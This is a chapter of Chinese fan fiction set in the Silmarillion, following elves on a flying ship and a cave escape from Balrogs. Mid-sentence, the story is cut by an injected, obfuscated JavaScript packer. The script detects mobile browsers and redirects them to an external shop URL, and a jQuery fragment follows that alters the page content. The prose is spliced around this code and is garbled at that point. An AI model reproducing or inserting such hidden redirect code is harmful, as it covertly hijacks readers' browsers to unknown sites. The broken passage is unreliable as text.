36.第三十六章:命运

作品:《「The Silmarillion」The Rescue Party

    吉尔-加拉德认定自己当初就不该离开森林。不知怎的,那个离开树荫下阴影的宿命决定,竟导致一艘飞行船直直朝他冲来。我不是刚从一艘这样的船上逃出来吗?难道我当水手的经历就那么令父母的神明难以接受,以至于他们非得再给我送来一艘漂浮的怪物不可?


    “趴下!”泰尔佩——至少吉尔-加拉德觉得那是他的名字——喊道。两人一起扑倒在地,巨大的船体恰好在他们上方停住。


    “兄弟们!”有人欢快地喊道。接着,一个黑发蓝袍的精灵顺着绳子滑了下来。


    “莫瑞!好久不见了!”新来者拍了拍他父亲的肩膀。卡兰希尔耸耸肩,甩开了他的手。


    “库茹沃和小泰尔佩!你们已经不小了。”


    凯勒布林博笑了,“比阿塔高了。”


    “嗯,除了你阿塔的阿塔之外,所有人都比你阿塔高。”


    梅斯罗斯清了清嗓子。“阿拉卡诺,你回来了真好,”希姆凛领主说道。“我本想说我对你的交通工具感到困惑,但最近令人困惑的亲戚实在太多了。”


    阿拉卡诺鞠了一躬。“可不是嘛,首先,这片土地从未显得如此炽热。上次我住在这儿时,到处都是冰,现在却是一片火海。”


    “小心点,诺洛芬威安,我们可不需要你在诗歌上挑战卡诺,”凯勒巩警告道。


    “我绝不敢!现在,这里有两位我没见过的:一位美丽的女士和一位年轻的小伙子。你们俩是谁把那位可怜的女人骗进这种混乱和必定悲惨的生活的?又是谁的儿子长着如此高贵的面孔?”


    好一会儿,没人回答。吉尔-加拉德觉得气氛尴尬起来,便开口说道:“卡兰希尔是我阿塔,”他说。“但安德瑞丝女士爱的是……呃,艾卡纳罗领主?”


    阿尔巩的眉毛扬了起来。“这么多戏剧性的事情,我全都错过了!洛米恩!你听见了吗?费艾诺的孙子和那个懵懂的艾卡纳罗的情人!”


    “洛米恩?”梅斯罗斯问。


    “对,伊瑞晳的儿子。”


    凯勒巩听到这个亲戚不得不坐了下来,“等等,伊瑞晳堂姐有个儿子?”


    “是的,你这迟钝的羊腿!”库茹沃厉声说。“母亲说父亲带着伊瑞晳的儿子离开昂多林德时,你在会议上没听吗?”


    吉尔-加拉德想知道伊瑞晳到底是谁,以及他还要见多少位家族成员。(他有点担心所有人都叫“芬威”。)


    “伊瑞晳的儿子怎么到的维林诺?”卡兰希尔问,“除非……”他本就苍白的脸变得毫无血色。“除非……他是在曼督斯?父亲他……?”


    “不,他在原野上。跟蝙蝠有关,但他解释得比我好。洛米恩顾问!身为国王的顾问,躲着人可不像话。”


    一个黑色的脑袋出现在栏杆上方,“我没有躲,谢谢您,阿拉卡诺领主。也许,我不像某些人那样喜欢绳索或把它当作风尚标。”


    “啊!”阿尔巩宣布,“这才是我从挂毯上想象出的那位顾问。你之前眼神有点太天真、太迷茫了,但我看出你已经找到了你的锐气!很好,现在,你的皇家顾问身份……你可以用你束腰外衣的袖子,或者我想有绳梯。当然,如果你跳下来,我可以像接一位美丽的少女一样接住你!”


    阿尔巩的调侃没有得到回应。但过了一会儿,一架绳梯出现了,谨慎的迈格林慢慢地爬到了地上。


    “那么,兄弟们!”阿尔巩继续说,“我听说有些箭头可以刺穿龙皮。”


    凯勒布林博眼中闪过一丝狡黠的光芒。他卸下肩上的袋子,露出里面锋利的金属。


    “啊,但我们有弓箭大师吗?”


    凯勒巩举起手,“不用找了!我闭上眼睛也能干掉那野兽。”


    这时,远处传来一声咆哮,在空中回荡。吉尔-加拉德怀疑这位有着银色头发的奇怪叔叔能否独自对付那样的生物。


    阿拉卡诺似乎同意,“好吧,看起来不太乐观。那矛术大师呢?”吉尔-加拉德感到一阵肾上腺素冲过血管。他该说点什么吗?然后他看到梅斯罗斯举起了他那残臂,吉尔-加拉德也害羞地举起了自己的手臂。


    “总算有个开始!阿塔尼斯用魔法联系上我时,听起来非常恐慌。我们出发吧。我想提耶科莫的四条腿动物随从们也可以一起来。所有人上船!”


    温扬兴奋地跳上船,迈格林用呆滞的眼神看着他的舅舅,“我只是……”吉尔-加拉德同情地看着他,嗯,他理解那种感觉。


    “快点,顾问,我们可不想错过船。”


    所有人都爬上了梯子,并且放下了一张网把胡安和温扬弄上甲板后,阿尔巩走向舵轮。一声尖锐的口哨阻止了他。


    “离开舵轮,诺多,这样没人会受伤,”安德瑞丝命令道。


    吉尔-加拉德断定自己陷入了最糟糕的一种时间循环。


    ---------------


    罗格认为,考虑到涉及两位诺多王室成员,这个卧底计划进行得出奇顺利。他带领队伍沿着洞穴墙壁排成一列,走了好几英里,行进中的奥克大军都没有注意到他们。


    然后,那些没有头脑的军队停止了,一支由五只炎魔组成的后卫部队出现了,中间那只长着四只角而不是两只。它用洞穿灵魂的火焰之眼直直地盯着他们。


    “戈斯莫格领主的号角尚未吹响,这里却出现了奴隶,”它用辛达语说道,它的说话方式是这个恶魔曾经神圣地位的少数残留迹象之一。


    “从矿井逃出来的,”罗格用粗劣的黑暗语不屑地嘲笑,拽着穿过每个人束缚的布带。费艾诺踉跄了一下,但——赞美上面的曼威——保持了安静。


    “他们为什么还活着?”野兽咆哮道,说话时嘴里冒出缕缕火焰。它伸手拿起鞭子抽了一下,火舌照亮了隧道墙壁。罗格不由自主地畏缩了一下。奥力,给我勇气。


    “看看他们!”罗格用同样的辛达语宣称。他的口音粗糙而粗俗——符合一个终身奴隶的身份——但他的语气却带着一种厚颜无耻的大胆,丝毫没有流露出那在他灵魂中极其微弱地闪烁着的天然恐惧。如果他们想熬过这场考验,他的话语中就不能有丝毫软弱,不能有丝毫怀疑。“诺多……全都是美丽的诺多!”他继续道。“那个金色的家伙血统上可能是凡雅。你愿意承担让这样的鲜血浪费在洞穴地板上的惩罚吗?我要把他们献给我们的主人。”


    “为什么要派一个奴隶去抓奴隶?”


    “哈!你们这些恶魔话说得冠冕堂皇,但你们的脑子可不怎么样!你们被派去刚多林,那可是个大任务!也许你们想交易?”罗格递出亚麻绳。“你们带走这四个精灵。我带着图尔巩血淋淋的脑袋回去!”


    炎魔的眼睛闪烁着。罗格再次希望自己狂奔的心脏能慢下来。


    “放肆的奴隶!”那个堕落的乌迈亚咆哮道,然后突然蹲下身,一只手抓住罗格的手臂,另一只巨大的黑色爪子把他的头扭向一边。罗格那时意识到,游戏结束了。


    然而,他仍然拒绝畏缩,拒绝向恐惧屈服。事实上,当炎魔试图辨认他曾脖子上的烙印时,这位精灵领主笑了。他笑是因为他很久以前就把一个炽热的奖章盖在整个烙印上,把那块区域重新烧了一遍,只留下无法辨认的疤痕组织。因此,他面前这个堕落的恶魔无法在他身上辨认出任何标记,任何奴隶的符号,并且永远也不会再有人能。


    “这是什么?”炎魔看到伤疤时问道。


    罗格的笑容扩大了,他的绿眼睛闪烁着翡翠般的火焰。他把头从炎魔的紧握的手中扭出来,凝视着它恶魔般的眼睛。“这是一个自由之人!”他那挑衅的声音中充满了力量,然后他猛地抽回了手臂。“这比我对你说的要强!”他喊道,同时踩在炎魔的脚上。它发出巨大而痛苦的咆哮。


    “跑!”他随即对其他人喊道,同时从生物阴影般的腿下冲了过去。火焰之鞭抽打着,在洞穴的天花板和地面上灼烧出深深的痕迹。但狭小的空间对精灵们有利。当一只炎魔的鞭子在突然的混乱中击中另一只的手臂时,一声混蛋的喊叫在洞穴墙壁上回荡。


    罗格看到火焰在他视野中舞动,他跃过划过的火舌,然后他旋转身体,避免撞上恶魔黑橙相间的大腿。然后他看到了身边的阿瑞蒂尔(她早已轻松挣脱了手腕上松散的束缚)。“好计划!”她轻快地说。


    “我们走到这一步了,”他提醒她,逃脱那阴暗与痛苦的喜悦兴奋充盈着他的精神。


    接着又是两声尖利的惨叫,两只火之恶魔互相撞上,摔倒了。罗格回头看到费艾诺跳过其中一只挥舞的手臂,埃克西里昂在他身边。没时间寻找格洛芬德尔了;他继续跑。


    “抓住他们!”那个会说话的炎魔从后面咆哮道。一道火焰之鞭抽向罗格的脚后跟。


    “这边!”阿瑞蒂尔喊道。罗格跑到她身边,她正站在隧道内侧的拐弯处,与他们一直行走的那一侧相反。这里有一条巨大的垂直裂缝,宽度刚好够他们挤过去。阿瑞蒂尔侧身滑了过去,罗格毫不犹豫地跟上。很快他听到了费艾诺低声的抱怨,大概是岩石划伤了他暴露的胸口。


    然后身后传来像攻城锤撞击墙壁的重击声。“他们想打破岩石跟着我们!”格洛芬德尔从后面喊道。罗格快速低声祈祷感谢他的朋友没事。


    “我看到微弱的光!裂缝快到头了。快到了!”阿瑞蒂尔喊道。果然,岩壁消失了,露出一个小小的暗礁。下方三十英尺处是一个似


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433177|200847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乎发光的池塘,照亮了这片区域。


    “嗯,这可不奇怪,”费艾诺说道,此时炎魔们用它们的蛮力撞击通道另一侧,发出可怕的撞击声。


    “奇怪总比死了好!”罗格宣称。然后他纵身跳下洞口,没给自己时间考虑这是否真的是个好主意。迎接他的水凉爽但可以忍受,除了发光之外是普通的水。他旁边两下入水声表示有两个人跟着跳了下来,很快阿瑞蒂尔和费艾诺就在他身边踩着水。


    然后上方传来可怕的岩石坠落声。罗格抬头看到洞穴后面的墙壁碎裂开来,长着四只角的领头炎魔带着另一只恶魔冲了出来。“跳,你们这些闪闪发光的白痴!”他对仍在暗礁上的格洛芬德尔和埃克西里昂喊道。


    埃克西里昂看起来准备照做,但一条鞭子缠住了他的手臂,他被猛地向后拉去。随即,罗格的视线被一只双角炎魔挡住,它移动到洞穴边缘,挡住了精灵们的视野。


    石块和巨石如雨点般落下,溅入水中。“往后退!”阿瑞蒂尔命令道。罗格照做了,他深知被砸碎脑壳对他没好处,但他锐利的眼睛从未离开过洞口。他们没有武器,他惊慌地意识到。


    鞭子的噼啪声随之而来,罗格只能想象他的朋友们在有限的空间里试图躲避。然后传来一声响亮的呼喊,在池塘周围的墙壁上回响。罗格及时抬头,正好看到埃克西里昂用头猛地撞向离洞口最近的那只恶魔的胸口,两人一起摔了下去。


    罗格用有效的划水动作向后游,以避免被掉落的火之恶魔压在下面。他及时避开了,但无法避免那股巨大的浪潮把他撞在对面墙上。炎魔在沉重的盔甲迅速将其拖入深处之前喊叫了一些不洁的东西,水因它临死前的火焰的热量而变热。


    “埃克西里昂!”费艾诺喊出这位精灵领主的名号,他声音中突然的关切让罗格感到惊讶。


    “我……我没事,”涌泉领主宣称,他从池塘对面游过来,揉着后颈,那里第二天早上肯定会酸痛。然后他们都抬头看到格洛芬德尔正在与四角领舞者周旋,两人仍在暗礁上。


    “离开这里,你们所有人!”金花领主喊道,同时躲避着瞄准他胸口的鞭子。“我来拖住他!”


    “休想!”罗格回答。


    格洛芬德尔可能笑了,很难说,因为那时他转过身,拼命躲避面前恶魔的火焰。罗格看出了他在做什么:格洛芬德尔慢慢地诱使他的对手越来越靠近悬崖边缘,那边缘已经开始破碎。又走了几步,又做了几个快速动作来躲避缠绕的鞭子后,整个洞穴都听到了岩石破裂的回响声。四角野兽停止了它强烈的攻击,但为时已晚,暗礁的边缘在它的重量下塌陷了。


    恶魔坠落时尖叫着,它的爪子伸向格洛芬德尔的头,但只擦过了他被剪短的头发边缘。


    “快游!”罗格喊道,再次为突如其来的热水做好准备。当浪潮击中他时,他翻滚着,然后被完全压在墙上。但很快水就平静了,因为炎魔加入了它同伴的行列,沉入大地黑暗的深处。


    “这就是我不喜欢重甲的原因,”阿瑞蒂尔说,“格洛!来加入我们享受放松的游泳吧!”她朝仍然震惊的格洛芬德尔喊道,他双手撑在膝盖上,在剩余的暗礁上重重地喘着气。罗格能辨认出一些鞭子肯定抽中他留下的愤怒痕迹。然而,刚多林的格洛芬德尔不乏韧性。他敬了个礼,前臂交叉在胸前,穿着破烂衣服和罗格设计的发型显得有些可笑,然后他跳下来加入了他们。


    “为杀炎魔者三次欢呼!”他的金色脑袋浮出水面时,阿瑞蒂尔喊道。


    “我没有酒,但我承诺等这一切结束后请你们喝一轮,”罗格同意道。


    费艾诺拍了拍埃克西里昂的肩膀,“那记头槌真不错。我必须说,我低估了你,涌泉领主。敢用头去撞瓦拉劳卡的人,需要特定的品格。”


    “哦,别膨胀他的自尊,”格洛芬德尔笑着回答,“这家伙一边吹着笛子一边上战场。”


    “说得好像那个在上面磨蹭时间,确保每个人都看到他赢得胜利的精灵似的,”埃克西里昂戏虐地说。


    格洛芬德尔假装生气地倒吸一口气,“才没有!”


    “你有!如果你还留着那头飘逸的头发,那个怪物早就抓住它把你拖进深渊了。”


    格洛芬德尔往朋友脸上泼水作为回应。


    “现在怎么办?”费艾诺问,“我觉得爬上去不行。”


    “嗯,这片水域往这边延伸,”阿瑞蒂尔比划着,“有人想游泳吗?”


    罗格不想,真的不想,他的心还在狂跳。但他还是点了点头。


    “我等不及看薇瑞关于这个的挂毯了,”费艾诺咕哝道,他们五个人慢慢地开始向洞穴更深处游去,看起来可疑地像鳄鱼。